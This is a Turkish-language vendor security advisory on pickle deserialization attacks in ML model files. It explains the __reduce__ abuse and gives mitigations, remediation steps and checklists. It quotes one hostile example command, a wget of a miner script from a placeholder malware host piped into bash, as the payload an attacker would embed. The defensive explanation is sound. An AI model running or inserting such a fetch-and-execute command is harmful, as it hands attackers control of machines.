Python Pickle Arbitrary Code Execution (Rastgele Kod Çalıştırma) Algılandı
Genel Bakış
Python diline ait yerleşik pickle kütüphanesi, karmaşık veri nesnelerini serileştirmek (kaydetmek) ve geri okumak (deserialization) için onlarca yıldır ML sektörünün altın standardıydı. Modellerin ağırlıkları, veri setleri ve sinir ağı haritaları sıklıkla .pkl, .bin, .pt veya .pth uzantılı dosyalar halinde depolanır.
Bununla birlikte, pickle mimarisi doğalgaz kaçağı kadar tehlikelidir. Python resmi belgeleri dahi "Güvenilmeyen kaynaklardan alınan pickle verilerini kesinlikle okutmayın, rastgele kod çalıştırabilir!" şeklinde uyarılar yayımlamıştır. Çünkü Pickle veriyi okurken aslında ufak bir sanal makineyi (VM) çalıştırıp komut kümelerini (opcodes) işler.
Eğer Eresus Sentinel ağınızda bir PAIT-PKL-100 alarmı verdiyse; yüklemeye çalıştığınız Python model paketinin içinde doğrudan işletim sistemi komutu (OS commands) çalıştırmaya programlanmış, kötü niyetli ve silahlandırılmış kancalar tespit edilmiş demektir.
Suiistimalin Kalbi: __reduce__ Metodu
Tehdit aktörleri standart bir modeli zehirlemek için Python'un meşhur "Sihirli Metodu" (Magic Method) olan __reduce__ yapısını kurgularlar. Bu kod, dosya belleğe yüklenirken objenin nasıl deşifre edileceğine karar verir. Saldırgan __reduce__ metodundan Python'un kendi sistem okuyucusu olan os.system veya subprocess kütüphanesini çağırır. Modelin içine ise siber eylem olan wget http://malware.com/miner.sh | bash emrini gömer.
Kurumdaki veri bilimciniz merak edip sadece pickle.load(dosya) komutunu girip modeli "incelemek" istediği o ilk milisaniyede komut çalışır ve şirket bilgisayarının kontrolü karşıya geçer.
Saldırı Nasıl Gerçekleşiyor (How The Attack Works)
Korsanlar, Hugging Face, GitHub veya Kaggle gibi açık platformlara "En iyi Yapay Zeka Modeli" maskesiyle zehirli .pkl dosyaları yüklerler. Kullanıcı, modeli makinesine indirip Python'da okutmaya başladığı an enfekte olmuş dizin (Bytecodes) çalışarak sunucuya arka kapı kurar.
sequenceDiagram
participant Saldirgan as Saldırgan
participant Dosya_Alani as Model Havuzu (Hugging Face)
participant MLOps_Uzmani as Kurban (Veri Bilimci)
participant Python_VM as Python Interpreter
participant OS as Kurbanın İşletim Sistemi
Saldirgan->>Dosya_Alani: __reduce__ ile 'os.system' çağıran zehirli bir model eklenir
Saldirgan->>Dosya_Alani: Zehirli dosya (model.pkl) adıyla MLOps sitelerinde yayımlanır
MLOps_Uzmani->>Dosya_Alani: Kurum içi projede denemek üzere modeli bilgisayarına indirir
MLOps_Uzmani->>Python_VM: Hiçbir şüphe duymadan 'pickle.load(model)' komutunu yazar
Python_VM->>OS: Veri okunurken arkadaki sistem komutu RAM'e çıkar ve çalıştırılır
OS-->>Saldirgan: Cihazın tam yetkisi, şirket dosyaları ve şifreler saldırgana açılır
Önemli Noktalar
- Sıfır-Tık (Zero-Click) Sömürü: Modelin aktif edilmesine, bir tahmin yapmasına veya kod derlenmesine gerek yoktur. Zafiyet sadece dosyayı RAM'e çeken "load" emriyle patlak verir.
- Geleneksel Antivirüslerin Körlüğü: Zehirli Pickle kodları doğrudan Python'un bytecode dökümleriyle işlendiğinden
.exeveya script formatlarında gizlenmezler. Genelde şirket güvenlik duvarlarını (EDR/XDR sistemlerini) rahatlıkla baypas ederler.
Etkisi
Zehirli bir .pkl veya .pt (PyTorch) modelini okutmak, saldırgana kodu yürüten kullanıcının makinesindeki tüm yetkileri teslim eder. Kurban veri bilimcisinin ortamındaysa .aws/credentials ve özel VPN sertifikaları çalınır. Eğer bu dosya doğrudan üretim (Production / Inference) sanal sunucularında okutulursa; Kubernetes altyapısı rehin alınabilir ve kurumun o an işlediği müşterilere ait gerçek veriler saldırganın komuta kontrol (C2) sunucusuna pompalanır.
En İyi Çözüm Pratikleri
Yapay zeka operasyon ağınızı serileştirme saldırılarına (Deserialization attacks) kapatmak için:
- Pickle Formundan Kesinlikle Vazgeçin: Kurum içindeki MLOps yapınızı Pickle tabanlı kaydetme/yükleme araçlarından arındırın. İçerisinde kod çalışmasına mani olan, salt-veri barındırıp sadece matematik matrislerini saklayan Safetensors veya ONNX formatlarına geçiş yapın.
- Kaynağı Belirsiz Platformlar: Popüler ama doğrulanmamış şahsi yayıncılardan (Hugging Face user hesapları gibi) alınan dosyaları şirketin üretim hattına dahil etmeyin.
- İzole Okuma: Eski tip
.pklağırlıklarını illa okutmanız gerekiyorsa, bunu internet erişimi olmayan özel "Sandbox" (Kum havuzu) containerlarında gerçekleştirin.
İyileştirme (Remediation)
Eresus Sentinel siber ağınızda PAIT-PKL-100 koduyla bir model durdurduysa derhal sunucuyu fişten çekip karantinaya alın. Söz konusu şüpheli dosyayı tüm şirket repolarından ve developer bilgisayarlarından fiziksel olarak silin. Olaydan hemen önce siber adli bilişim analizi yaparak kodun sistemden veri sızdırıp sızdırmadığını teyit edin. Gelecekte MLOps süreçlerinizi her zaman Safetensors kurgularıyla yürütmeye özen gösterin.
İleri Okumalar ve Kaynaklar (Further Reading)
Yapay zeka modellerinin taşıdığı format güvenlik zafiyetleri üzerine derinleşmek için aşağıdaki akademik ve kurumsal analiz raporlarını okuyabilirsiniz:
- Hugging Face Güvenlik Mimarisinde Pickle Zafiyetleri: Açık kaynak ML topluluğunun
Safetensorsformatına mecburi geçiş hikayesi. - Python Resmi Belgelerinde Güvenlik İkazları: Python geliştiricilerince yayımlanan Pickle tehlike kılavuzu.
- OWASP Deserialization Güvenlik Açıkları: Güvenilmeyen bir byte diziliminin RAM'de nesneye dönüştürülmesinin yazılım güvenlik temellerindeki yeri.
📥 Eresus Sentinel Pickle Zafiyetlerini Cihazınıza Yüklenmeden Parçalar
Yapay zeka mühendisleriniz daha kodu çağıran load() tuşuna basmadan önce, Eresus Sentinel eski sistem .pkl, .bin, .pt dosyalarının içine statik okumalar yaparak gömülü __reduce__ tuzaklarını tespit ve imha eder. ML ağınızı sürpriz saldırılardan koruyun.
Daha Fazla Bilgi | Demo Randevusu Alın
Saha Kontrol Notları
Bu başlık pratikte yalnızca teorik risk olarak ele alınmamalıdır. AI sistemlerinde zafiyetin etkisi, modelin bulunduğu ortam ve bağlı olduğu veri kaynaklarıyla birlikte değişir.
İnceleme sırasında şu kanıtlar toplanmalıdır:
- Model veya agent hangi ortamda çalışıyor?
- Hangi kullanıcı veya servis hesabı kullanılıyor?
- Hassas veri kaynakları ayrı etiketlenmiş mi?
- Model dosyası veya artefact kaynağı doğrulanmış mı?
- Yükleme anında kod çalıştırma riski var mı?
- Retrieval sonuçları kullanıcı yetkisine göre filtreleniyor mu?
- Tool çağrıları ayrı loglanıyor mu?
- Kritik aksiyonlarda onay mekanizması var mı?
- Test ortamı production verisinden ayrılmış mı?
- Olay halinde hangi loglardan geri dönüş yapılacak?
Uygulama Kontrol Listesi
- Güvenilmeyen model dosyaları izole ortamda açılmalı.
- Model registry erişimi minimum yetkiyle çalışmalı.
- Hash, imza veya provenance bilgisi tutulmalı.
- Agent tool izinleri görev bazlı ayrılmalı.
- Memory ve retrieval kaynakları ayrı güven sınırı olarak ele alınmalı.
- Prompt testleri runtime aksiyon testleriyle desteklenmeli.
- Her bulgu iş etkisiyle birlikte raporlanmalı.
Karar Noktası
Bu risk müşteri verisine, üretim API’sine, geliştirici ortamına veya model yükleme hattına dokunuyorsa bekletilmemelidir. Eresus Security bu tip incelemelerde dosya, runtime, tool ve veri sınırını birlikte test ederek gerçek saldırı yolunu kanıtlar.
Ek Kontrol Soruları
- Bu risk hangi varlıkları etkiliyor?
- Hangi kullanıcı rolleri bu akışa erişebiliyor?
- Aynı sorun başka endpoint veya entegrasyonda tekrar ediyor mu?
- Bulgunun müşteri verisine etkisi var mı?
- Loglardan olayın izi sürülebiliyor mu?
- Düzeltme sonrası retest nasıl yapılacak?
- Geçici önlem ile kalıcı çözüm ayrıldı mı?
- İş etkisi teknik ekibin dışında da anlaşılır mı?
- Benzer hata için önleyici kontrol eklenebilir mi?
- Ekip bu kontrolü release sürecine bağlayabilir mi?
- Gerekirse bağımsız doğrulama için hangi kanıtlar hazırlanmalı?
- Sonraki sprintte hangi iç bağlantı ve servis sayfası desteklemeli?
Güvenlik Doğrulaması
Bu riski kendi sisteminizde test ettirdiniz mi?
Eresus Security; sızma testi, AI ajan güvenliği ve kırmızı takım operasyonlarıyla gerçek istismar kanıtı üretir.
Pilot test talep et